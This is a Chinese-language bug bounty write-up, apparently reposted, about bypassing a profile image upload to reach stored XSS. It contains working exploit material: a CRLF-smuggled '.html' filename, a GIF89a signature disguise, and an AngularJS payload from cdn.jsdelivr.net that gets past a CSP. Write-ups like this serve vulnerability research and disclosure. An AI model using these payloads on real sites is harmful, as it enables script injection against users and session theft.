图片上传绕过与存储型XSS漏洞利用技术详解

My name is Ignacio Jose Riva, and I am a full-time Bug Bounty Hunter actively working in platforms like Bugcrowd, Intigriti, Hackerone, etc hunting for all kinds of vulnerabilities.

在本文中,我将解释我是如何绕过图片上传功能,并在目标网站上实现存储型XSS的。


🖊️Writeup

在测试 https://app.target.com/ 时,我在 /profile 路径下发现了一个有趣的端点。

Profile image upload

个人资料图片上传功能依赖于以下 POST 端点:

bash 复制代码
POST /api/images/

上传图片后,文件可以通过以下路径访问: /files/images/<filename>.png

响应如下:

json 复制代码
{"message":"Upload successfully","files":[{"name":"<img>","path":"images/<img>","url":"https://app.target.com/files/images/<img>"}]}

起初,上传验证受到严格的正则表达式 保护,使得无法将此问题升级为远程代码执行(RCE)。因此,最可行的攻击途径是尝试存储型XSS

我专注于滥用文件名处理,使用 .html 扩展名结合空字节(%0d%0a)。

使用的载荷如下:

ini 复制代码
filename="name.html%0d%0a.png"
Content-Type: text/html

为了绕过图片验证,请求体以 GIF89a 文件签名开头,后接 HTML 内容:

css 复制代码
GIF89a
<html><body>ANY</body></html>

这样,该文件被成功上传并呈现为 HTML 页面,而非图片。

CSP Restriction

当尝试执行 JavaScript 时,载荷被**内容安全策略(CSP)**阻止:

arduino 复制代码
CSP script-src 'self' https://cdn.jsdelivr.net

这意味着只有托管在同一域名下或从 cdn.jsdelivr.net 加载的脚本才被允许。

为了绕过此限制,我使用了从 cdn.jsdelivr.net 加载的 AngularJS ,这符合 CSP 规则。一个非常有用的 CSP 攻击资源是:cspbypass.com/

Final Payload (Stored XSS)

html 复制代码
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app>
  <img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert('XSS by cyx :)');">
</div>

上传文件后,我直接访问了: https://app.target.com/files/images/name.html

此时,我成功做到了:

  • 绕过图片上传限制
  • 绕过 CSP
  • 实现存储型 XSS

✉️ Get in Touch

如有问题、合作或想了解更多关于漏洞赏金猎取的内容,可以通过以下方式联系我:

  • LinkedIn: linkedin.com/in/cyxbugs/
  • Twitter: x.com/cyxbugs CSD0tFqvECLokhw9aBeRqj6jqLMuiORy6/rp+XTMHOVcU0CTINHq8kAGnLzNLK83ddW0lRF2hwizUDMpjFWvp7Rsq6LK4IIlmNQs8A8LUJLL55RQxregeAyAtAuO40Yq
相关推荐
阿瑞IT3 分钟前
AI Agent 从 Demo 到生产:被低估的四个工程问题
人工智能
小锋java12343 分钟前
【技术专题】LangChain4j 开发Java Agent智能体 - 整合SpringBoot4
java·人工智能
MemOS3 分钟前
产品更新 |MemOS CLI 上线:让能跑命令行的 Agent 更轻量接入长期记忆
人工智能
独秀不如众秀3 分钟前
AI Coding 的最大问题不是写错代码,而是反复犯同一个错
人工智能
CV实验室5 分钟前
Remote Sensing 29个SITS基准数据集综述:多模态遥感分类的新起点
人工智能·深度学习·计算机视觉·音视频
m0_4665252912 分钟前
锚定场景深耕数据 东软探索城市全域数字化新路径
大数据·人工智能
Data-Miner14 分钟前
智慧城市数据中台建设方案深度解析PPT解读
人工智能·智慧城市
喵了几个咪20 分钟前
AI重构软件开发范式:框架与脚手架为何仍是生产级开发的刚需?
vue.js·人工智能·react.js·重构·golang·ai编程
星辰AI24 分钟前
告别翻译腔:用 AI Agent 自动化构建开源项目的多语言技术文档
人工智能·ai·语言模型
KJ_BioMed27 分钟前
突破“不可成药”靶点:科晶生物AI互作蛋白与纳米抗体设计技术解析
人工智能·抗体药物·多肽药物·多肽设计·抗体设计